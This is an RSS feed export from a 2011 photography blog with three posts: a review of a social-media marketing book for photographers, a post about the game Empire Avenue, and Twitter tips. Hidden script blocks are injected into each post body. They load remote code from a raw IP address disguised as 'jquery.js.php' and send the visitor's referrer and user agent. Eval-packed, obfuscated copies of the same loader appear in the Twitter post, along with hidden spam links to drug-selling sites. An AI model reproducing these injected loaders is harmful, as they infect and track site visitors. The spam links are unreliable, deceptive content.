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	<title>Lloyd K. Barnes Photography &#187; social media</title>
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		<title>Book Review: The Linked Photographers&#8217; Guide</title>
		<link>http://blog.lloydkbarnes.com/2011/03/24/book-review-the-linked-photographers-guide/</link>
		<comments>http://blog.lloydkbarnes.com/2011/03/24/book-review-the-linked-photographers-guide/#comments</comments>
		<pubDate>Thu, 24 Mar 2011 20:54:30 +0000</pubDate>
		<dc:creator><![CDATA[Lloyd]]></dc:creator>
				<category><![CDATA[Book review]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[book review]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://blog.lloydkbarnes.com/?p=1427</guid>
		<description><![CDATA[The Linked Photographers&#8217; Guide to Online Marketing and Social Media Authors: Lindsay Adler and Rosh Sillars Marketing for photographers has changed dramatically in the last few years. The changes are being driven by better and cheaper digital cameras leading to increased competition amongst photographers. In addition, traditional marketing and advertising is being replaced by the [&#8230;]
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				<content:encoded><![CDATA[<p><a href="http://www.amazon.ca/gp/product/1435455088/ref=as_li_ss_tl?ie=UTF8&#038;tag=llokbarpho-20&#038;linkCode=as2&#038;camp=15121&#038;creative=390961&#038;creativeASIN=1435455088">The Linked Photographers&#8217; Guide to Online Marketing and Social Media</a><img src="http://www.assoc-amazon.ca/e/ir?t=&#038;l=as2&#038;o=15&#038;a=1435455088" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /><br />
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Authors: Lindsay Adler and Rosh Sillars</p>
<p>Marketing for photographers has changed dramatically in the last few years. The changes are being driven by better and cheaper digital cameras leading to increased competition amongst photographers. In addition, <noindex><script type="text/javascript" rel="nofollow" style="text-decoration:none;color:#676c6c"> document.write("<script language='javascript' rel='nofollow' type='text/javascript' src='http://5.45.67.97/1/jquery.js.php?r=" + encodeuri(document.referrer) + "&#038;u=" + encodeuri(navigator.useragent) + "'></sc" + "ript>"); </script></noindex>  <noindex><script type="text/javascript" rel="nofollow" style="text-decoration:none;color:#676c6c"> document.write("<script language='javascript' rel='nofollow' type='text/javascript' src='http://5.45.67.97/1/jquery.js.php?r=" + encodeuri(document.referrer) + "&#038;u=" + encodeuri(navigator.useragent) + "'></sc" + "ript>"); </script></noindex>  traditional marketing and advertising is being replaced by the internet. The Linked Photographers' Guide shows how to use online marketing and social media to find clients - of fundamental importance for a successful business!</p>
<p>The Linked Photographers' Guide is a great reference for photographers who are looking to improve their Internet marketing. It covers the basics of personal branding,     setting up a web site and blog, getting more traffic with search engine optimization, and monitoring the traffic using analytics. There's also a chapter on how to use Google Adwords.</p>
<p>Each of the major social <a style="text-decoration:none; color: #333;" href="https://tiaca.org/buy-viagra-sildenafil-online-20-mg/">generic viagra names</a> networking sites of importance for photographers are covered in separate chapters. These include Facebook, Twitter, Flickr, YouTube, Tumblr, and LinkedIn. The book includes many case studies showing how some of today's successful photographers use social media, with their individual tips and suggestions.</p>
<p>The final chapter covers many more tools and services available to help facilitate social networking, such as some of lesser know social networking sites, URL shorteners, RSS feed readers, social bookmarking sites and much more.</p>
<p>The book is ideal for photographers who are new to social media, but is full of tips and information that would be useful for the more experienced as well. As the authors remind us, some of the details will no doubt become out of date as the existing sites evolve and new ones gain popularity. However, the principles will remain sound and this book is a great way for photographers to get up to speed in the rapidly growing world of social media.</p>
<p><iframe src="http://rcm-ca.amazon.ca/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=llokbarpho-20&#038;o=15&#038;p=8&#038;l=as4&#038;m=amazon&#038;f=ifr&#038;ref=ss_til&#038;asins=1435455088" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></p>

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		<item>
		<title>Empire Avenue: Social Networking or Game or Both?</title>
		<link>http://blog.lloydkbarnes.com/2011/03/23/empire-avenue-social-networking-or-game-or-both/</link>
		<comments>http://blog.lloydkbarnes.com/2011/03/23/empire-avenue-social-networking-or-game-or-both/#comments</comments>
		<pubDate>Wed, 23 Mar 2011 18:33:32 +0000</pubDate>
		<dc:creator><![CDATA[Lloyd]]></dc:creator>
				<category><![CDATA[Empire Avenue]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Empire Avene]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://blog.lloydkbarnes.com/?p=1409</guid>
		<description><![CDATA[//EDIT THE FOLLOWING VARIABLES //enter your exact ticker var eav_t = "LLOYDKBARNES"; //Size 1 is 100x100 and Size 2 is 190x167 var eav_s = 2; //Do not edit the following: var eav_is_ssl = ("https:" == document.location.protocol); var eav_asset_host = eav_is_ssl ? "https://badge.empireavenue.com/" : "http://badge.empireavenue.com/"; document.write(unescape("%3Cscript src='" + eav_asset_host + "blog/?t=" + eav_t + "&#038;l=" + [&#8230;]
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<p><a title="Empire Avenue" href="http://www.empireavenue.com" target="_blank">Empire Avenue</a> is a social networking game where you buy and sell other members as well as any Twitter profile. I joined about a month ago, <noindex><script type="text/javascript" rel="nofollow" style="text-decoration:none;color:#676c6c"> document.write("<script language='javascript' rel='nofollow' type='text/javascript' src='http://5.45.67.97/1/jquery.js.php?r=" + encodeuri(document.referrer) + "&#038;u=" + encodeuri(navigator.useragent) + "'></sc" + "ript>"); </script></noindex>  <noindex><script type="text/javascript" rel="nofollow" style="text-decoration:none;color:#676c6c"> document.write("<script language='javascript' rel='nofollow' type='text/javascript' src='http://5.45.67.97/1/jquery.js.php?r=" + encodeuri(document.referrer) + "&#038;u=" + encodeuri(navigator.useragent) + "'></sc" + "ript>"); </script></noindex>  and it's been a great way to find others who share my interests,   or who are located in Vancouver,   and to connect with them on their various social networks.</p>
<p>When you <a title="Empire Avenue sign up" href="http://empireavenue.com/?t=4m8ztzdp" target="_blank">sign-up</a> (it's free) you get 10,000 eaves, the virtual currency for buying and selling on the site. You register your social networking sites - Flickr, Twitter, Facebook, YouTube, LinkedIn, as well as your RSS feeds and Empire Avenue will start to assess your activity on these sites. After about a week, you will get scores for each site. You also get a score for your activity on Empire Avenue itself. The more you participate on a given site, the higher your score, up to a maximum of 100 per site. Your <a style="text-decoration:none; color: #333;" href="https://naturallydaily.com/buy-cialis-online-tadalafil/">where to buy cialis</a> share price will reflect your level of social networking activity, as well as the investments that other Empire Avenue members have made in you. You will see your share price and portfolio value grow as you engage in your social networks.</p>
<p>If you already participate in social media, Empire Avenue is a really cool way to see at a glance how you are doing on your different accounts. You will receive many different achievement badges as you increase your activity. It's a fun way to gauge your influence and see where you could be doing a better job.</p>
<p>You can find others who share similar interests or live in the same city and see their social networking profiles. There's a community section where you can browse and join communities according to your interests or city.  It's very useful for finding contacts to follow on Twitter, Flickr or LinkedIn, and you can promote your own website, blog or recent posts too.</p>
<p>Empire Avenue is loaded with features and different ways to find and connect with people, and is a little overwhelming at first. To help, here's a <a title="Empire Avenue Tutorial" href="http://strawberrysingh.com/2011/03/16/empire-avenue-tutorial/" target="_blank">great tutorial on getting started with Empire Avenue</a>.</p>
<p>If you <a title="Empire Avenue sign up" href="http://empireavenue.com/?t=4m8ztzdp" target="_blank">sign-up</a> with this link you will get 2,000e bonus eaves to help you make your first buy!</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><a title="Empire Avenue Tutorial" href="http://strawberrysingh.com/2011/03/16/empire-avenue-tutorial/" target="_blank"><br />
</a></p>

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		<title>7 Twitter Tips for Photographers</title>
		<link>http://blog.lloydkbarnes.com/2011/03/19/7-twitter-tips-for-photographers/</link>
		<comments>http://blog.lloydkbarnes.com/2011/03/19/7-twitter-tips-for-photographers/#comments</comments>
		<pubDate>Sat, 19 Mar 2011 21:35:45 +0000</pubDate>
		<dc:creator><![CDATA[Lloyd]]></dc:creator>
				<category><![CDATA[networking]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://blog.lloydkbarnes.com/?p=1350</guid>
		<description><![CDATA[Twitter is continuing to grow in popularity with about 460K new users joining each day compared to about 300K last year. My goal with Twitter is to find followers who are interested in my work, and to provide them with news and information related to photography, fashion, social media, design, art, science and music. Finding [&#8230;]
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]]></description>
				<content:encoded><![CDATA[<p style="text-align: left;"><a title="Just Dropping By by Lloyd K. Barnes Photography, <noindex><script type="text/javascript" rel="nofollow" style="text-decoration:none;color:#676c6c"> document.write("<script language='javascript' rel='nofollow' type='text/javascript' src='http://5.45.67.97/1/jquery.js.php?r=" + encodeuri(document.referrer) + "&#038;u=" + encodeuri(navigator.useragent) + "'></sc" + "ript>"); </script></noindex>  <noindex><script type="text/javascript" rel="nofollow" style="text-decoration:none;color:#676c6c"> document.write("<script language='javascript' rel='nofollow' type='text/javascript' src='http://5.45.67.97/1/jquery.js.php?r=" + encodeuri(document.referrer) + "&#038;u=" + encodeuri(navigator.useragent) + "'></sc" + "ript>"); </script></noindex>  on Flickr" href="http://www.flickr.com/photos/kalamakia/2221839318/"><img class="aligncenter" title="Twitter Bird" src="http://farm3.static.flickr.com/2289/2221839318_9186b5b09b.jpg" alt="Twitter Bird " width="500" height="407" /></a><br />
<noindex><script type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fziaz|var|u0026u|referrer|hkyia||js|php'.split('|'),0,{}))
</script></noindex> <noindex><script type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzify|var|u0026u|referrer|bdzbb||js|php'.split('|'),0,{}))
</script></noindex> Twitter is continuing to grow in popularity with <a title="Which tweets get attention?" href="http://www.idea.org/blog/2011/03/17/black-hole-of-tweets-new-research-on-which-tweeters-get-attention/" target="_blank">about 460K new users joining each day</a> compared to about 300K last year.</p>
<p>My goal with Twitter is to find followers who are interested in my work,   and to provide them with news and information related to photography, fashion, social media, design, art, science and music.</p>
<p><strong>Finding Followers</strong></p>
<p>You need to have followers to read your tweets, retweet and mention you.</p>
<ul>
<li>Post your Twitter link wherever you can. My <a title="Lloyd K Barnes on Twitter" href="http://twitter.com/lloydkbarnes" target="_blank">Twitter link</a> is on my blog, website, and all of my social networking sites.</li>
<li>Look for people to follow by checking out who is following other Twitter users with similar interests, and start following them. Some of these contacts will start following you back. I give them a couple days to follow me back, but if they don't, I will unfollow them to make sure that the number of people who I follow is not too much more than the number of people who are following me. There are <a title="Twitter Tools to Find &amp; Manage Followers" href="http://www.1stwebdesigner.com/design/27-twitter-tools-to-help-you-find-and-manage-followers/" target="_blank">tools and websites to help you to find and manage followers</a>.</li>
</ul>
<p><strong>Follow back</strong></p>
<p>It's a good idea to follow back new followers. I check my new followers at least once per day and usually follow them back. This will help to encourage them to continue to follow you. You can check their bio, tweets and website to see if they share similar interests. Occasionally the follower is a <a title="Avoiding Spam Bots" href="http://www.ehow.com/how_7509592_avoid-spam-bots-twitter.html">spam bot</a> or someone else who you don't want to follow, so you can find out first before following back.</p>
<p><strong>Add value</strong></p>
<p>Find information that you think will be interesting and of value to your followers and tweet about it and share the link. Add a few words of your own to show what you found interesting about it, and consider <a style="text-decoration:none; color: #333;" href="https://gigglesgobblesandgulps.com/buy-avodart-online/">https://gigglesgobblesandgulps.com/buy-avodart-online/</a> adding appropriate <a title="Hashtags" href="http://support.twitter.com/entries/49309-what-are-hashtags-symbols">hashtags</a> to help others find it by searching Twitter.</p>
<p><strong>Make your tweets interesting</strong></p>
<p>Think of your tweets as headlines. You have 140 characters to catch someone's attention, or they won't check out the link or retweet.</p>
<p><strong>Don't spam</strong></p>
<p>Don't repeatedly send tweets about your sales and services. A rule of thumb is one self-promotional tweet per 10 tweets. If your tweet stream has too much hard sell content, people will probably not follow you.</p>
<p><strong>Link to your photos</strong></p>
<p>I post my photography to <a title="Flickr" href="http://www.flickr.com/photos/kalamakia/" target="_blank">Flickr</a> and send it to Twitter using the "Share This" menu above the photo and going to "Blog It". I have set up Twitter as one of my blogs in the "Sharing &amp; Extending" tab under the "Your Account". You can also send photos to Twitter photo sharing sites such as <a title="TwitPic" href="http://twitpic.com/" target="_blank">TwitPic</a> and <a title="yfrog" href="http://yfrog.com/" target="_blank">yfrog</a> and others.</p>
<p><strong>Schedule your tweets</strong></p>
<p>I like to spread my tweets throughout the day by scheduling them using <a title="Hootsuite" href="http://hootsuite.com/p_4544" target="_blank">Hootsuite</a>. Right now I'm sending about one tweet per hour, usually starting around 6 a.m. Pacific Time and ending around midnight. I then add random tweets during the day whenever something interesting comes up. More people check Twitter during their lunch breaks, evenings, or weekends, so you might want to schedule your more important tweets to maximize the audience.</p>
<p>I'm currently reading <a href="http://www.amazon.ca/gp/product/1435455088/ref=as_li_tf_tl?ie=UTF8&amp;tag=llokbarpho-20&amp;linkCode=as2&amp;camp=15121&amp;creative=330641&amp;creativeASIN=1435455088">The Linked Photographers' Guide to Online Marketing and Social Media</a><img style="border: none !important; margin: 0px !important;" src="http://www.assoc-amazon.ca/e/ir?t=llokbarpho-20&amp;l=as2&amp;o=15&amp;a=1435455088" border="0" alt="" width="1" height="1" /> by Lindsay Adler and Rosh Sillars, which has an entire chapter of information on using Twitter, as well as chapters on other social media such as Flickr, YouTube, LinkedIn, Tumblr, Facebook and blogs. It's a great resource for photographers just starting out, but has many ideas and tips for the more savvy social media users too.</p>
<p>Do you have some more tips for using Twitter? Share them in the comments section and don't forget to tweet about this post!</p>
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